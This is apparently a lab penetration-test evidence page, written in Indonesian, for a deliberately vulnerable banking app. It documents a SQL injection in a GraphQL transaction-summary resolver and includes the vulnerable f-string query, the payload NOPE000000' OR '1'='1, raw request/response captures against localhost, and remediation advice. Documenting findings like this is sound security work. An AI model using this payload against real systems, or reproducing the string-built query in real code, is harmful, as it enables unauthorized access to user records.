Skenario 17 / 26FAIL
SQL Injection - GraphQL - Transaction Summary Resolver
Lingkungan lab — bukan sistem produksi
Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.
vuln-bank/Evidence/[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
01 — Catatan
Catatan pengujian
Kerentanan
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
Deskripsi
Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.
Dampak
Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.
CWE
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP
A03:2021 - Injection
Skenario
Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.
Endpoint
POST http://127.0.0.1:5001/graphql
Fitur terdampak
GraphQL transactionSummary (ringkasan transaksi)
Rekomendasi perbaikan
- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL.
- Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database.
- Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi.
- Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.
Bukti konsep
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar.
2) (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found.
3) (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver
Description:
Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.
Impact:
Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.
CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command
OWASP:
A03:2021 - Injection
Scenario:
Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.
Endpoint:
POST http://127.0.0.1:5001/graphql
Affected Feature:
GraphQL transactionSummary (ringkasan transaksi)
Remediation:
- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL.
- Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database.
- Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi.
- Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.
POC:
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar.
2) (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found.
3) (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.
02 — Tangkapan layar
Tangkapan layar (3)
03 — Request dan response
Rekaman HTTP
Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.
REKAMAN 01 / 1
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}REKAMAN 02 / 2
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT
{
"data": {
"transactionSummary": null
},
"errors": [
{
"message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n | ^",
"path": [
"transactionSummary"
]
}
]
}REKAMAN 03 / 3
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159
{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT
{
"data": {
"transactionSummary": {
"accountNumber": "ADMIN001",
"scope": "account",
"totalTransactions": 0
}
}
}